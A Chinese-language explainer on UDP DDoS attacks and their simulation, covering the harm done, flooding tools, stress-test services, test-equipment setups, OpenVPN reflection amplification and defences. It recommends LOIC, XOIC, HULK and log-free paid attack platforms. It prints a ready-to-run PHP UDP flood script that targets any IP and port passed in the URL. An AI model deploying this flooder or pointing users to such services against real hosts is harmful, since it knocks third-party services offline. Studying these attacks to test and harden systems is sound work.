《探索 UDP DDoS 攻击模拟：网络安全的挑战与应对》(图文)

UDP DDoS 攻击，即用户数据报协议分布式拒绝服务攻击，是一种常见的网络攻击手段。UDP 是一种无连接的网络传输协议，这意味着数据包在传输时不需要建立连接，攻击者可以轻松地伪造源 IP 地址，发送大量的 UDP 数据包到目标网络或服务器。
这种攻击的主要目的是通过大量虚假的流量耗尽目标的网络带宽或系统资源。就如同城市堵车一样，当 UDP 数据包超过目标系统的带宽上限，就会出现网络拥堵、响应缓慢的情况。例如，攻击者可能控制大量的肉鸡（被攻击者控制的计算机），如果控制 1000 台机器，每台带宽为 10M，那么攻击者就有了 10G 的流量。当它们同时向某个网站发动攻击，带宽瞬间就被占满了。
UDP DDoS 攻击会给目标带来严重的危害。首先，正常用户的使用会受到极大影响，可能出现网站访问缓慢、无法连接服务、应用程序卡顿甚至掉线等情况。对于电商、金融等行业来说，这意味着交易机会的流失，可能导致收入锐减。据统计，损失合同或运营终止是 DDoS 攻击的最严重后果，在遭遇过攻击的企业中，26% 将其视为最大的风险。其次，频繁的攻击会损害企业的品牌声誉，潜在客户和合作伙伴可能会对企业的可靠性产生质疑。此外，在攻击过程中，黑客还可能趁机入侵系统，窃取敏感数据，给企业带来数据泄露的风险。

二、常见 UDP DDoS 攻击模拟平台

（一）免费软件推荐

卢瓦 (LOIC) 是最受欢迎的 DOS 攻击工具之一，被去年流行的黑客集团匿名者用于对许多大公司的网络攻击。它易于使用，即使是初学者也能轻松上手。这个工具可以通过发送 UDP、TCP 或 HTTP 请求到受害者服务器，只需要知道服务器的 IP 地址或 URL 即可。
XOIC 也是一款不错的 DOS 攻击工具，有三种攻击模式，分别是测试模式、正常的 DOS 攻击模式和带有 HTTP/TCP/UDP/ICMP 消息的 DOS 攻击模式。它可以根据用户选择的端口与协议执行 DOS 攻击任何服务器。
HULK 是另一个 DOS 攻击工具，使用某些其他技术来避免通过攻击来检测。它有一个已知的用户代理列表，且使用的是随机请求。

（二）在线攻击平台

目前有很多模拟 ddos 攻击的在线平台，这些平台通常具有操作简单、多种测试模式、流量大、隐私保护等特点。例如一些平台提供网页操作，一点即发，混合模式可提供更大的流量。同时，不储存日志，更好地保护用户隐私。
在定价方面，不同的平台有不同的套餐。比如有的平台提供天卡、周卡、月卡、季卡、年卡等不同时长的套餐，价格从几十元到几万元不等，测试次数、测试时间和测试流量也有所不同。
需要强调的是，这些攻击模拟平台仅用于攻防演练及教学测试用途，禁止非法使用。任何非法的网络攻击行为都是违法的，可能会面临严重的法律后果。

（三）开源工具 DDoSify

DDoSify 是一款开源的、高性能负载测试工具。技术上，它实现了高效且灵活的并发请求处理机制，能够在短时间内生成大量并发连接，模拟真实世界的高流量情景。它建立在一个健壮的 Go 语言框架之上，确保了执行效率与稳定性。
DDoSify 的应用场景广泛，在 Web 服务发布之前，可以使用它来测试服务器的最大吞吐量；对 API 接口进行压力测试，确保其在高并发情况下的稳定性和响应时间；还可以模拟用户行为，测试前端应用的加载时间和响应速度。
DDoSify 的特点包括协议无关性，当前已支持 HTTP、HTTPS 和 HTTP/2 协议，未来将扩展至更多协议类型；场景驱动设计，通过简单的 JSON 配置文件，就可以定义出复杂的行为模式和交互流程；多种负载类型，提供了多样化的负载测试选项；参数化与数据关联，利用动态变量和数据关联特性，使每个测试请求都能够根据上一步的结果或随机因素自定义参数值；测试数据导入，支持直接从 CSV 文件中读取测试数据，简化了构建大规模测试案例的过程。
项目地址为：https://gitcode.com/ddosify/ddosify。

三、UDP DDoS 攻击模拟方法

（一）使用二三层仪表模拟
信而泰网络测试仪表可模拟无状态的 DDOS 攻击流量。在构造网络层及传输层攻击流量时，首先在测试端口上增加 raw 流来构造攻击流量，然后根据攻击类型选择相应报头封装，如 UDP Flood 则选择以太帧 + IPv4 帧 + UDP 报头。接着修改流量内容，目的 MAC 需要填充仪表该接口直连接口的 mac 地址；源 IP 可根据需要进行递增递减或随机跳变，以模拟大量不同源 IP 用户场景，目的 IP 则填充被攻击设备的 IP；UDP 源目端口选择随机跳变，模拟真实 UDP Flood 场景。这样一个模拟 UDP Flood 的攻击流量就创建好了，设置好发送带宽大小后，即可测试设备的抗 DDOS 能力。对于其他网络层及传输层的 DDOS，同理根据每种攻击特性不同，将报文里的相应字段置位达到攻击目的，如 SYN Flood 需要将 TCP 报头里的 syn 置 1。
在模拟应用层 DDOS 攻击流量时，由于相应应用层报头在二三层仪表上无法添加，可以通过导入 Custom 来实现。具体方式为将需要模拟应用层报文抓出来，通过 wireshark 打开，把传输层及应用层报头对应的二进制导出来；仪表创建 raw 流，增加以太帧 + IPv4 头，以及再添加一个 custom 自定义报头，以太帧和 IPv4 头的跳变设置同上，在 custom 里把刚刚导出的二进制数导入，完成应用层报文构造。
查看设备抗 DDOS 测试结果有两种方法。一是若被测设备无法识别 DDOS 攻击并处理了相应攻击流量，如 ARP 攻击，则被测设备会将 ARP 攻击报文上送 CPU 处理，大量上送 CPU 处理的报文将会使得被测设备的 CPU 利用率高达 100%，可通过查看被测设备的 CPU 利用率来判断。二是仪表与被测设备连接观察端口，通过在仪表端口统计视图上查看观察端口的接收带标签报文数量来判断被测设备抗 DDOS 攻击效果。

（二）PHP 模拟 http 请求攻击

通过 PHP 使用 udp 模拟 http 请求实现 DDOS 攻击的代码如下：

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print"Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out.= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr,5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
echo"Packet complete at ".time('h:i:s')." with $packets (". round(($packets*65)/1024,2)." mB) packets averaging ". round($packets/$exec_time, 2)." packets/s \\n";
}
其原理是通过 URL 传递 IP 和端口，以 udp 的方式打开连接，然后向目标服务器发送大量数据，从而实现模拟 DDOS 攻击。

（三）OpenVPN 服务被利用的攻击模拟

OpenVPN 服务被利用于 UDP 反射放大 DDoS 攻击的原理是：OpenVPN 在 UDP 隧道模式下，Data channel 的可靠性需要业务层自己维护，Control channel 的可靠性则由 OpenVPN 自己维护。当 OpenVPN 发送出数据包后，若在超时时间内没有收到对应的确认包，则会进行多次数据重传，直到 socket 超时（默认 30s）。攻击者利用这一特性，结合 UDP 反射攻击手法，让客户端向服务器发送特定数据包，服务器响应后，客户端对响应数据包不做应答，服务器便会对响应数据包进行多次重传，从而实现 UDP 反射放大攻击。
攻击模拟过程为：让客户端向服务器发送 P_CONTROL_HARD_RESET_CLIENT_V2 数据包，服务器则会响应 P_CONTROL_HARD_RESET_SERVER_V2 数据包，客户端对服务器响应的数据包不做 P_ACK_V1 应答，服务器便会对 P_CONTROL_HARD_RESET_SERVER_V2 数据包进行多次重传。
放大倍数方面，指数增加超时时间方式下，客户端发送一个 96 字节的报文，服务器将在 30 秒内响应大小与请求包相当的 5 个数据包，放大倍数为 5 倍，同时流量的 PPS 也放大了 5 倍。固定超时时间方式下，客户端发送一个 96 字节的报文，服务器将在后续的 30 秒内，以 0.5 秒的间隔响应一个大小为与请求包相当的数据包，放大倍数为 30 / 0.5 = 60 倍，同时流量的 PPS 也放大了 60 倍。
风险防范建议包括：在大带宽的数据中心场景，可以在专业 Anti-DDoS 设备或者边界路由上配置过滤规则（protocol udp, source port 1194, packetlength >=56 Bytes）；小带宽的企业数据中心当遭遇这种攻击时会引发链路带宽拥塞，只能靠上游云清洗过滤。

四、UDP DDoS 攻击的防范与思考

UDP DDoS 攻击的严重性不言而喻，它如同网络世界中的一场灾难，随时可能给企业和个人带来巨大的损失。面对这种严峻的形势，加强网络安全防护刻不容缓。
首先，要提高网络安全意识。企业和个人都应该认识到 UDP DDoS 攻击的危害，加强对网络安全知识的学习，提高自身的防范能力。例如，定期进行网络安全培训，了解最新的攻击手段和防范措施，增强员工的安全意识。
其次，加强网络安全防护措施。可以从多个方面入手，如升级防火墙和路由器，设置访问控制列表等措施，减少攻击者的入侵机会。过滤非法网络流量，通过设置黑白名单，对于来自未知来源的 UDP 数据包进行严格过滤，只允许特定 IP 地址中的合法流量访问网络。配置 UDP 访问控制，管理员可以通过限制 UDP 连接数量、设置 UDP 超时时间等来限制攻击者的 UDP 攻击能力。使用高级协议，如 SSL、SSH 等加密协议，将通信流量加密，提高 UDP 通信安全性。
同时，检测设备抗攻击能力也至关重要。企业在采用网络基础设备时，要检测设备的抗 DDOS 攻击能力，通过软硬结合的方式来进行防护。专业硬件提供高效 “硬防” 抵御大流量网络层攻击；CPU 提供 AI 加持的多层级 “软防”，精细化过滤小流量应用层攻击，且 “软防” 需提供实时分析和提取攻击特征、智能调度 “硬防” 的能力，从而快速阻断混合攻击，有效提升防御效率。
此外，还可以采取一些其他的防范措施。比如实现网站静态化，把网站尽可能做成静态页面或者伪静态，可以提高抗攻击能力。如果需要动态脚本调用，可以单独使用一台主机，避免遭受攻击时牵连到主服务器。禁用未使用的服务，黑客能攻击的应用程序和服务越少越好，因此应当关闭所有不需要和未使用的服务及应用程序，以提高网络的安全性。隐藏服务器的真实 IP，不要把域名直接解析到服务器的真实 IP 地址，避免让服务器的真实 IP 暴露。在服务器前端加 CDN 中转，用于隐藏服务器的真实 IP，全部都使用 CDN 来进行解析。建立冗余网络，创建冗余网络资源是一种行之有效的安全策略，当服务器受到攻击时，其他组件可以处理额外的访问流量。另外可以将不同的服务器定位在不同的地理位置，这样攻击者就更难锁定系统。保护 DNS 服务器，攻击者可以通过受损的 DNS 服务器使 Web 服务器脱机。实践冗余，并将服务器放置在多个数据中心实现负载均衡。此外还可以咨询基于云的 DNS 提供商，其在全球各地提供高带宽和多个数据中心，增加了距离从而使基础设施难以突破。制定 DDoS 防御机制，事前制定一个整体的防御策略是最根本的主动防御手段，抵御 DDoS 攻击是一个系统性工程，仅依靠单一策略很难发挥奇效，周全的计划包含了流程、工具、人员等综合措施，以保证攻击来临时发现更早、响应更快、措施更有效、造成的影响最低。
对于网络安全的未来发展，我们需要不断地探索和创新。随着技术的不断进步，攻击者的手段也会越来越复杂，我们必须紧跟时代的步伐，不断提升网络安全防护水平。同时，加强国际合作，共同应对网络安全挑战，也是未来网络安全发展的一个重要方向。只有通过全社会的共同努力，才能构建一个安全、可靠的网络环境。
 

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